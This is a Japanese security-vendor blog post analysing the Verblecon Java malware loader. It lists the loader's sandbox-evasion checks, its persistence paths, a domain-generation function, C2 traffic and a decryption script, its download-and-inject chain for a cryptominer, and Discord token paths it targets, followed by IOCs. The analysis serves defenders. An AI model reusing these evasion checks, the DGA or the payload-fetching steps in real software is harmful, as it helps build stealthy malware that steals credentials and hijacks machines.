Verblecon: 新しい高度なローダーが低レベルの攻撃で使用される
使用しているマルウェアの潜在能力に攻撃者が気付いていない可能性がある。
未知の攻撃者が複雑で強力な新しいマルウェアローダーを比較的単純で実入りの少ない攻撃に使用していますが、彼らは自分たちが展開しているマルウェアの潜在能力に気付いていない可能性があります。
このTrojan.Verbleconというマルウェアは、感染したマシンに暗号通貨マイナーをインストールすることを最終目的としているらしい攻撃で使用されています。これらの攻撃者がチャットアプリDiscordのアクセストークンを盗むことにも興味を持っていることを示唆する兆候もあります。ただし、このマルウェアの能力は非常に高く、ランサムウェアキャンペーンや諜報キャンペーンで活用されるときわめて危険なものになり得ます。
Broadcom Softwareの一事業部であるシマンテックのアナリストがVerbleconを最初に見つけたのは2022年1月のことです。このブログでは、このマルウェアの機能について詳しく論じていきます。
技術的詳細
このマルウェアは、サーバー側のポリフォーミック型JARファイルとして読み込まれます。ファイルがポリモーフィック型であるということは、暗号化と難読化が原因で、マルウェアペイロードのコードがダウンロードされるたびに違って見えることを意味します。一般に、攻撃者はセキュリティソフトウェアによる検知を逃れるために、この方法でマルウェアをパッケージ化します。
シマンテックが分析したこのマルウェアのサンプルは、コードフロー、文字列、記号のすべてが完全に難読化されていました。これらのサンプル自体は、公開された誰でも利用可能なコードに基づいているようです。
このマルウェアは、起動されると自身のコマンドライン引数をチェックします。このマルウェアの実行には少なくとも1つのコマンドライン引数が必要ですが、それはおそらく感染IDまたはキャンペーンIDであると考えられます。以下に例を示します。
"CSIDL_SYSTEM_DRIVE\program files\java\jre1.8.0_301\bin\javaw.exe" -jar "CSIDL_PROFILE\appdata\local\temp\rpvbh.jar" masonkhonsari
および
"CSIDL_SYSTEM_DRIVE\program files\java\jre1.8.0_301\bin\javaw.exe" -jar "CSIDL_PROFILE\appdata\local\temp\rpvbh.jar" 923ec15ffa4474ca7bf200bfb90e782d
このマルウェアはさらに、以下のJavaコマンドライン引数の有無をチェックすることで、自プロセスがデバッグされているかどうかを調べます。
- "-xbootclasspath"
- "-xdebug"
- "-agentlib"
- "-javaagent:"
- "-xrun:"
- "-verbose"
- "-agentpath:"
次に、自身が仮想環境またはサンドボックス環境で開かれているかどうかを検出しようと試みます。そのいずれかで開かれている場合は、セキュリティ担当者のマシンで開かれている可能性が高くなります。
そのために、まず以下のディレクトリがあるかどうかをチェックします。
- "%ProgramFiles(X86)%\VMware\VMware Tools"
- "%ProgramFiles(X86)%\Oracle\VirtualBox Guest Additions"
また、マシンのMACアドレスを取得して、ファイルが仮想マシンで開かれている可能性を示す以下のプレフィックスの有無をチェックします。
- "00:05:69"
- "00:0C:29"
- "00:1C:14"
- "00:50:56"
- "08:00:27"
- "00:16:3E"
- "00:1C:42"
- "0A:00:27"
上記のチェックが終わると、実行中プロセスのリストを取得するために以下のコマンドを実行します。
- tasklist.exe /fo csv /nh
その後、設定されたリストに照らして以下のプロセスをチェックしているようです。
- "vboxservice.exe"
- "vboxtray.exe"
- "xenservice.exe"
- "vmtoolsd.exe"
- "vmwaretray.exe"
- "vmwareuser.exe"
- "vgauthservice.exe"
- "vmacthlp.exe"
- "vmsrvc.exe"
- "vmusrvc.exe"
- "prl_cc.exe"
- "prl_tools.exe"
- "qemu-ga.exe"
- "vmcomputeagent.exe"
- "sandboxie"
- "vdagent"
- "vdservice"
- "fiddler"
- "joeboxserver.exe"
- "joeboxcontrol.exe"
- "blnsvr.exe"
さらに、以下のファイルの有無もチェックします。
- "%Windows%\system32\windanr.exe"
- "%Windows%\system32\drivers\VBoxMouse.sys"
- "%Windows%\system32\drivers\VBoxGuest.sys"
- "%Windows%\system32\drivers\VBoxSF.sys"
- "%Windows%\system32\drivers\VBoxVideo.sys"
- "%Windows%\system32\vboxdisp.dll"
- "%Windows%\system32\vboxhook.dll"
- "%Windows%\system32\vboxmrxnp.dll"
- "%Windows%\system32\vboxogl.dll"
- "%Windows%\system32\vboxoglarrayspu.dll"
- "%Windows%\system32\vboxoglcrutil.dll"
- "%Windows%\system32\vboxoglerrorspu.dll"
- "%Windows%\system32\vboxoglfeedbackspu.dll"
- "%Windows%\system32\vboxoglpackspu.dll"
- "%Windows%\system32\vboxoglpassthroughspu.dll"
- "%Windows%\system32\vboxservice.exe"
- "%Windows%\system32\vboxtray.exe"
- "%Windows%\system32\VBoxControl.exe"
- "%Windows%\system32\Drivers\Vmmouse.sys"
- "%Windows%\system32\Drivers\vm3dgl.dll"
- "%Windows%\system32\Drivers\vmdum.dll"
- "%Windows%\system32\Drivers\vm3dver.dll"
- "%Windows%\system32\Drivers\vmtray.dll"
- "%Windows%\system32\Drivers\VMToolsHook.dll"
- "%Windows%\system32\Drivers\vmmousever.dll"
- "%Windows%\system32\Drivers\vmhgfs.dll"
- "%Windows%\system32\Drivers\vmGuestLib.dll"
- "%Windows%\system32\Drivers\VmGuestLibJava.dll"
- "%Windows%\system32\Driversvmhgfs.dll"
- "[java.lang.System.getProperty("user.home")]\Desktop\moutonheart.wav"
次に、以下の条件に一致するユーザー名をチェックしているようです。
- java.lang.System.getProperty("user.name") == "WDAGUtilityAccount"
- java.lang.System.getProperty("user.name").startsWith("hal-")
その後、以下のコマンドを実行します。
- reg query "HKU\S-1-5-19"
このコマンドの出力がどのように処理されるかは不明ですが、以下の文字列は、このチェックや他のレジストリチェックに関連しているようです。
- "HARDWARE\ACPI\DSDT\"
- "HARDWARE\ACPI\FADT\"
- "HARDWARE\ACPI\RSDT\"
- "SOFTWARE\Oracle\"
- "SYSTEM\ControlSet001\Services\"
- "SYSTEM\ControlSet001\Services\"
- "SOFTWARE\Microsoft\Virtual Machine\Guest\"
- "SOFTWARE\VMware, Inc.\"
- "SOFTWARE\"
- "VBOX__"
- "VBOX__"
- "VirtualBox Guest Additions"
- "VBoxGuest"
- "VBoxMouse"
- "VBoxService"
- "VBoxSF"
- "VBoxVideo"
- "Parameters"
- "VMware Tools"
- "Wine"
これらのチェックで満足のいく結果が出ると、自分自身のコピーを以下のいずれかのファイルとして作成します。
- "%ProgramData%[INFECTION_ID][INFECTION_ID].jar"
- "%ALL_USERS_HOME%[INFECTION_ID][INFECTION_ID].jar"
- "%LOCALAPPDATA%[INFECTION_ID][INFECTION_ID].jar"
その後、ロードポイントとして使用するために以下のいずれかのファイルを作成します。
- "%HOMEPATH%\Library\LaunchAgents[INFECTION_ID].plist"
- "%Windows%\System32\Tasks[INFECTION_ID]"
[INFECTION_ID]は以下のように算出されます。
- hashlib.md5(b"%PROCESSOR_IDENTIFIER%%COMPUTERNAME%[USER_NAME]").hexdigest()
その後、以下のURLへの接続を定期的に試みます。
- "hxxps://gaymers[.]ax/"
- "hxxp://[DGA_NAME][.]tk/"
[DGA_NAME]は明らかに以下のメソッドを使って生成されています。
import datetime
import hashlib
def dga(day):
seed = bytes(day.strftime("%Y-%m-%d"), "ascii") + b"verble"
md5 = hashlib.md5(seed)
return md5.hexdigest()
print(dga(datetime.date.today()))
このマルウェアが生成するトラフィックは以下のようなものになります。
POST / HTTP/1.1
User-Agent: VerbleConnectTM
Content-Type: application/x-www-form-urlencoded
charset: utf-8
Cache-Control: no-cache
Pragma: no-cache
Host: gaymers.ax
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 2
k=
サーバー応答は以下のようなものになります。この応答内の一部の文字列は、攻撃者が正規のCloudflareインフラストラクチャを利用して彼らのC&Cインフラストラクチャの一部をホストしている可能性を示唆しています。
HTTP/1.1 200 OK
Date: Fri, 28 Jan 2022 21:27:31 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
CF-Cache-Status: DYNAMIC
Expect-CT: max-age=604800, report-uri="hxxps://report-uri[.]cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"hxxps:\/\/a.nel.cloudflare[.]com\/report\/v3?s=IoiU38KEKgi24kr9QHrmWg%2F%2B7pJc7jkKFghTxjGEGnFLDYDVtn0jrsN5FVkZrQAb9XUJlyEAjfQM%2BZ%2FJVPN4wTrU6Otancwny335hs3uyGy6DoE%2B9nl8eKz9mdDr"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 6d4d4e246b68cdab-CDG
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
3c0
J2dHYN2DE/N7JQj5ZdxyMVjISfLstuKFQjzMhEcxqaTQvAb3hpYZXlGHMn3mSoG3++twgiJEAjadSFco/P7qgd9mZz+4rzTksF23RJ0BsTRzH7Z2tAF0b62gwh+jTVgeupvenZoqw1+h/YKaF/lknZ11Cp5dgVKe9mxifc1b7t2FpTeqYMhT5NoyoWx/99mxyBt9OSDzJviK3fhJq+yhCDsZ3TWsYdZBAU2q0gQGYbmGT1w1DSbF+bcZ3rL47RHBKK2+NpkKmVMSoaL2d6SyGxom++MEiwIRTkhVtewxZPuXOeJ9AbZ9VqEnBo+77T3x7sxgX19PO8z9Rdbp7uHJ/8HLXEZcQnHjHBbRPQQcCFH5R/XNLmIHjaRApikb8QuRVJAVdDmNnpRpExWIbZ7k0R6AjiPDkuIAK+bj3v11HnQbVxIDBj9/GUI6XZDVACnSyUkeNprXB+FyC/ppfwwzyvtHj/BTyAX5UFfeghFym7qRa3UxZxw5H/PTukCPkdquEw/zXdlEf6hj0/2GNXHIhamrXeJ8WPfpsnHhgYaSHi83CKE6y2WMUdrCxeXgdvUg5sD6qyqrIiP+VLQeN22gIKuGlE1lh2Mm2JcrnHKq6P2G9fu2E6ZzoKL8N8KfuzCc8JqTGHVhjCDkSEgUCT8iXbvI6VqScV3vZ1Irc5Gd1T6w2NF4wd2zsRWAO7s+0aFCcKsFv0MHkYNpZPWdOX+tTgJZFigbsJ/IOHXSyxfUN0MLeEDEAbR9ymFB3uU9bbfeNlUWlVJxenLRtQLHxJDXQFBugRfFM0nJVxPIZHWcj22dlnyrqYUIX5Q8X8qNsXkz64DsrTBXMa52LrgeKDKNrQw+7Xpat5601VXUM80CVIfwhmmC5LiLP9ef0NuuDtkMDiX8KQdAWlMknOq8N0Z2TxKnznlCoJ27f0VSCVYD/3iepe5f+8EPD3Ob7CPOs0zB
0
上記のサーバー応答の本体は暗号化されたBLOB(Binary Large Object)であり、RSAキーで署名されたURLが格納されています。このBLOBは以下のように復号化して検証することができます。
#!/usr/bin/python3
import Crypto.Cipher.AES
import Crypto.Hash.SHA256
import Crypto.PublicKey.RSA
import Crypto.Signature.pkcs1_15
import Crypto.Util.Padding
import base64
# from sample
aes_key = b"cYIoouG6CRk3ds6dZAfRdQOomHfxOFJ6"
aes_iv = b"FjP2PQfztKZ7vKxL"
rsa_certificate = "MIIFazCCA1OgAwIBAgIUQDUa4ddMSiYJ+8dB2v1yF6kfWsQwDQYJKoZIhvcNAQELBQAwRTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoMGEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDAeFw0yMDA3MjMxODIxMzdaFw0yMDA4MjIxODIxMzdaMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDeWLWJkfkpeRy9Bw7OIkJCQs7cO06qrD5vgFNI9p47cVYyf0NH5FuqX41veoTTBe+iA/77j1L/ffO5qCBFkct/d7YpNsCDjfoqjoL6T6GJ5WGPU/9uR7GctoXoESUdq03TYw8GttIq25EyyWUfjsNL/iljVomiffAJTKkcnOKnA0NYgrWmgxghiJGNXwHbYau9NH7hAthYZcBUxzWqTS8hCI2fupQ14yoAwU0YlYpL5XtmzkCpK0qCU++G5fPr0utTp8qnKTFExwI4oFt6Umj4Z13P1EUQRetSPKva7JpNq00UVOketKFnawu99VJx1SIsQWOZ6BvOLS7QYIBdiblFzHaXxZ0ndbVTFMcSC9G3HroVlTAMWgtkZiiZr3LpuX0U1s7e+uqvkZxw+dggIfkEdKA0p2iayu80MEBJvZoyFY/11ugyaOhDlFtVlQ8rqc40IkgfM9RmxeuAhAdQfhpxaPLV/5v1OyGsG1fKETSNTVaxMlbGUsY1LwNvXeF576P9YEHpDgSg4zeWec7xrc6WWY2A5TZnyt2Pzd4G8oOjgtFHV0ZqqU8ogEizZEZ5Fs3mAi3N4N7FCrjf0QygQuksvbfi8Iim8DGmkMXzCihnN3suLOP4noWSrPfxEblY1QPiS+WK9y4kVtsJl/seohbI1P7XCUrdESvKxgBK6ziy6QIDAQABo1MwUTAdBgNVHQ4EFgQUfakZej+WCNaJNFfZ/2V2Yn9e0h8wHwYDVR0jBBgwFoAUfakZej+WCNaJNFfZ/2V2Yn9e0h8wDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAgEARQEHcfMK2hM77F6ua/o+Y9NGE4QsFuUtGKVT/hPXF3wJuq7rpkdk8G8bksMrCBFg+XhlYM8pyTvrpqunl5Dgoew1niuwlNI2fXOsXpUSu1Gtu+5zU3gsjisnOexWZwQjBJINPzLHpsM9GrBSJXl97x50mBzkjwDU7uhNN8mfQ47GOqsZSnrUhOVIdZo7cnfmDjsSiJ3XIv122zGQCwgvHTCKctpF+hwm5IuJ+9BfAh3zTuqJ/VPkJrnKoW0dx/uaJOqSW3sjWHlIV1QRm+sRk5cGhUvIn8gU0P84rgzDcqNJC0+0GEuX/MbGzjf2nu4ow6SXNziCb4Jb4DN9YN83qXpvJC+TI0097t/3ZuZhPPuaPWpjuhMNmBafT8ImLs96VSbv7ps50lFn0R94KXNKlYJH4mncQiZo4YPEQ6WpcVjhoTR06cbAu7WgSrVMSk6CBTWjjbGLg7p579qn+Yskk4OxWB3kzig7You+z0nM2dwrQAKz3yztK7bVEsgPT/eoLjnvkKnwIkN5hwQZNXUigO/1HKcTgGFz1A8dG+qXd7ZGCoxJ7vRab1vxzMdO7VDaJJXJUUrwVZVR/xBt2Xg0yfHWQ10oiK4z9aI1F/YMhI1I3rbUAjVySLyzZSSkz2/6xQZRtcEWbrFbBI9ko8Kb752poOKybEvmM6sE33J4dvk="
def disect_response(body):
decoded_body = base64.b64decode(body)
cipher = Crypto.Cipher.AES.new(aes_key, Crypto.Cipher.AES.MODE_CBC, IV=aes_iv)
decrypted_body = cipher.decrypt(decoded_body)
signed_message = Crypto.Util.Padding.unpad(decrypted_body, cipher.block_size)
message, signature = signed_message.rsplit(b"@")
print("message:", message)
print("signature:", signature)
rsa_public_key = Crypto.PublicKey.RSA.import_key(base64.b64decode(rsa_certificate))
rsa_verifier = Crypto.Signature.pkcs1_15.PKCS115_SigScheme(rsa_public_key)
message_hash = Crypto.Hash.SHA256.new(message)
rsa_verifier.verify(message_hash, base64.b64decode(signature))
print("signature verification: PASS")
disect_response("J2dHYN2DE/N7JQj5ZdxyMVjISfLstuKFQjzMhEcxqaTQvAb3hpYZXlGHMn3mSoG3++twgiJEAjadSFco/P7qgd9mZz+4rzTksF23RJ0BsTRzH7Z2tAF0b62gwh+jTVgeupvenZoqw1+h/YKaF/lknZ11Cp5dgVKe9mxifc1b7t2FpTeqYMhT5NoyoWx/99mxyBt9OSDzJviK3fhJq+yhCDsZ3TWsYdZBAU2q0gQGYbmGT1w1DSbF+bcZ3rL47RHBKK2+NpkKmVMSoaL2d6SyGxom++MEiwIRTkhVtewxZPuXOeJ9AbZ9VqEnBo+77T3x7sxgX19PO8z9Rdbp7uHJ/8HLXEZcQnHjHBbRPQQcCFH5R/XNLmIHjaRApikb8QuRVJAVdDmNnpRpExWIbZ7k0R6AjiPDkuIAK+bj3v11HnQbVxIDBj9/GUI6XZDVACnSyUkeNprXB+FyC/ppfwwzyvtHj/BTyAX5UFfeghFym7qRa3UxZxw5H/PTukCPkdquEw/zXdlEf6hj0/2GNXHIhamrXeJ8WPfpsnHhgYaSHi83CKE6y2WMUdrCxeXgdvUg5sD6qyqrIiP+VLQeN22gIKuGlE1lh2Mm2JcrnHKq6P2G9fu2E6ZzoKL8N8KfuzCc8JqTGHVhjCDkSEgUCT8iXbvI6VqScV3vZ1Irc5Gd1T6w2NF4wd2zsRWAO7s+0aFCcKsFv0MHkYNpZPWdOX+tTgJZFigbsJ/IOHXSyxfUN0MLeEDEAbR9ymFB3uU9bbfeNlUWlVJxenLRtQLHxJDXQFBugRfFM0nJVxPIZHWcj22dlnyrqYUIX5Q8X8qNsXkz64DsrTBXMa52LrgeKDKNrQw+7Xpat5601VXUM80CVIfwhmmC5LiLP9ef0NuuDtkMDiX8KQdAWlMknOq8N0Z2TxKnznlCoJ27f0VSCVYD/3iepe5f+8EPD3Ob7CPOs0zB")
このマルウェアはその後、復号化したURLとの通信を開始し、まず感染したコンピュータの詳細を送信します。
POST /mafia/login.php HTTP/1.1
User-Agent: VerbleConnectTM
Content-Type: application/x-www-form-urlencoded
charset: utf-8
Cache-Control: no-cache
Pragma: no-cache
Host: gaymers.ax
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 291
id=il~aSS_3ZNaXHMGXLExSyzp6xMrxMB7zCw1zFndLA87jjqd0tPsFqY31LF65YGEt&os=5i1E5v8J8fUqwpvNWkN6QQ&pv=6qWqTXHlWudJmSz_fuWcBA&ip=VfseCVZvINz5rCbXun59pfGFCSmrpUXBVtrqt_4REs8&cn=QN9v6e3VlZM1oosbryBr~7DoU95gMv4JDw68m35voF0&lr=ZrXBJ3IJZ5ymR2zc1~faVQ&ct=GOi8TbTvN6vucG76f8fCGg&bv=tdCMf_RP_QPO3xfcoRGJww
この要求の本体には、感染したマシンに関する以下の情報が暗号化された形で含まれています。
- "id"は[INFECTION_ID]
- "os"はOSのバージョン(たとえば"Windows 10")
- "pv"は管理者権限で実行する場合の"Admin"
- "ip"はJARパス名
- "cn"は"[USER_NAME]@[COMPUTERNAME]"
- "lr"の値は"00:00:00"
- "ct"の値は"0"
- "bv"の値は"v1.0.0"
サーバーからの以下のような応答が観測されています。
HTTP/1.1 200 OK
Date: Fri, 28 Jan 2022 21:29:26 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
CF-Cache-Status: DYNAMIC
Expect-CT: max-age=604800, report-uri="hxxps://report-uri[.]cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"hxxps:\/\/a.nel.cloudflare[.]com\/report\/v3?s=JE2u6s575flQq%2BEumTamotRln2IsYdLgqtQHy0tGJwQp9tuxhWThqxtCzsMG6vVgc%2Fa76jGYsP8hb68S3hKu8Q5lm6H2iIYElyVHw4WOcGSLqi%2FLR6AX5RcYlsXd"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 6d4d50f69c993a8d-CDG
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
98
Rc0OiT8tzq68CmJ7bi0SMLtCQQH8bjxlid0OONwvn+x9g2ku8Ocfx+lT+TZXBzLC9/K7hJ/efOYWz9e1HC3KrRkQoh3OTZezXIOhJ6gTRPiLeqDgCGT79FcFqm7SFEDPHl1NpR14dl/6R92VwKZE/A==
0
応答の本体部分は以下のように復号化できます。
newtask:1:Mw==:YUhSMGNITTZMeTlxYjI1aGRHaGhibWhoY21SM2FXTnJMbTFsTDJoaGNtUjNhV05yTG1waGNuNXpkR0Z5ZEE9PQ==
上記の最後の言葉には以下の文字列が含まれています。
- hxxps://jonathanhardwick[.]me/hardwick.jar~start
このマルウェアのサンプルのいくつかは、以下のサーバーと通信していました。
- gaymers[.]ax
- 6f3af6ffb074513b51bba688a0b41df7[.]tk
マルウェアとサーバーとの通信はHTTPまたはHTTPSを使って行われますが、この通信は被害者を以下の通信先に接続させることを目的としているようです。
POST /mafia/login.php HTTP/1.1
User-Agent: VerbleConnectTM
Content-Type: application/x-www-form-urlencoded
charset: utf-8
Cache-Control: no-cache
Pragma: no-cache
Host: gaymers.ax
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 291
id=il~aSS_3ZNaXHMGXLExSyzp6xMrxMB7zCw1zFndLA87jjqd0tPsFqY31LF65YGEt&os=5i1E5v8J8fUqwpvNWkN6QQ&pv=6qWqTXHlWudJmSz_fuWcBA&ip=VfseCVZvINz5rCbXun59p
ペイロードが前出のURLからダウンロードされます。
- hxxps://jonathanhardwick[.]me/hardwick.jar
このペイロードは他のサンプルと似た方法で難読化されており、仮想環境を検知する類似の技術や他の機能を含んでいます。
その中核をなす機能は、以下のURLからバイナリBLOBをダウンロードして実行することです。
- hxxps://jonathanhardwick[.]me/hardwick.bin
このBLOBは、同じホストからの*.binアーティファクトとともに復号化されます。ダウンロードされたBLOBはその後、ローカルファイルシステムにキャッシュされ(再暗号化された形で)、実行のために%Windows%\SysWow64\dllhost.exeに注入されます。
この注入は、通常の注入用のAPIではなくcom.sun.jnaを使って実行されます。
最終的なペイロード(hardwick.bin)には、暗号通貨マイナーの構成ファイルを指し示す以下の埋め込みURLが含まれています。
- hxxps://jonathanhardwick[.]me/config[.]txt
これは、この攻撃の目的が暗号通貨マイニングソフトウェアを被害者のマシンにインストールすることであったことを示しています。
このキャンペーンの目的は?
被害者のネットワークで見つかった証拠から、攻撃者の目的は暗号通貨マイニングソフトウェアを被害者のマシンにインストールすることであったと推測されます。この高度なマルウェアの開発に要した労力の大きさを考えると、これは比較的実入りの少ない目的であるように見えます。
また、攻撃者がDiscordトークンを盗んで、トロイの木馬化したビデオゲームアプリケーションを宣伝するためにそれを利用していた可能性を示唆する兆候もあります。
難読化された文字列の中に、明らかにDiscordクライアントに関連するパス名を参照するものがあったことから(特に下記)、当社は彼らがDiscordトークンを盗んでいたと疑っています。
- "AppData\Roaming\discordcanary\Local Storage\leveldb"
- "AppData\Roaming\discordptb\Local Storage\leveldb"
- "Library\Application Support\discord\Local Storage\leveldb"
- "Library\Application Support\discordcanary\Local Storage\leveldb"
- "Library\Application Support\discordptb\Local Storage\leveldb"
- ".config\discordcanary\Local Storage\leveldb"
- ".config\discordptb\Local Storage\leveldb"
Discordは、特にゲーム愛好家のコミュニティで人気のあるグループチャットアプリです。トロイの木馬化したビデオゲームアプリケーションをDiscordを介して宣伝する目的は、Trojan.Verbleconの再配布ではないかと思われます。
このマルウェアがランサムウェアの配布に利用される可能性は?
当社が観測したこのマルウェアによる感染のほとんどは、企業以外のマシンで見つかりました。企業以外のマシンで当社がランサムウェアを見つけることはめったにありません。
以前のレポートで、関連する複数のドメインをランサムウェアの単一の発生と結び付けましたが、インフラストラクチャが関連のないアクターと共有されている可能性もあります。そのインシデントと当社が観測したアクティビティとの間には、以下のような類似性があります。
- ドメイン名に"verble"が含まれている
- 実行のためにシェルコードをダウンロードする
- 類似した難読化
ただし、この2例のアクティビティの間につながりがあると断言するのに十分な証拠はありません。
力を手にしたのは経験不足のアクター?
当社が観測したこの高度なローダーを使って実行されたアクティビティは、使用している攻撃者がこのマルウェアの能力に気付いていない可能性があることを示しています。ただし、このローダーがもっと熟練したアクターの手に落ちた場合、ランサムウェアキャンペーンや諜報キャンペーンなどのより深刻な攻撃で、このローダーが使用される可能性があります。
侵害の痕跡(IOC)
IOCが悪意のあるもので、シマンテックが入手できるファイルであれば、Symantec Endpoint製品はそのファイルを検知し、ブロックします。
32a9415daa7f37a93dd0b347461844673c0f5baf0c15c01ee48b147dadf28299
3688c249774cc9a28d2b9b316921cec842bb087c57f4733cf5866226fbe2aeed
5a4f6332ad08b35c055bb5e6dfddc79d2f7905e63fac7595efbedd0b27f12eb8
007f5898c52c3aa1c3dca6d3a30f28f5f72d9789fbb440ae656d88959f68e53e
f3f4af5f5eae1a28ad5a01b56d71302a265bce17d2c87ce731edf440612818a6
hxxp://verble[.]software/styles.jar
hxxps://jonathanhardwick[.]me/hardwick.jar
hxxps://jonathanhardwick[.]me/hardwick.bin
hxxps://jonathanhardwick[.]me/config.txt
hxxp://test.verble[.]rocks/dorflersaladreviews.jar
hxxp://test.verble[.]rocks/dorflersaladreviews.bin

ウクライナ:ロシアの侵攻の直前にディスクワイピング攻撃
侵攻の数時間前に、ウクライナや他の近隣諸国にある標的に破壊的なマルウェアが配備される

We encourage you to share your thoughts on your favorite social platform.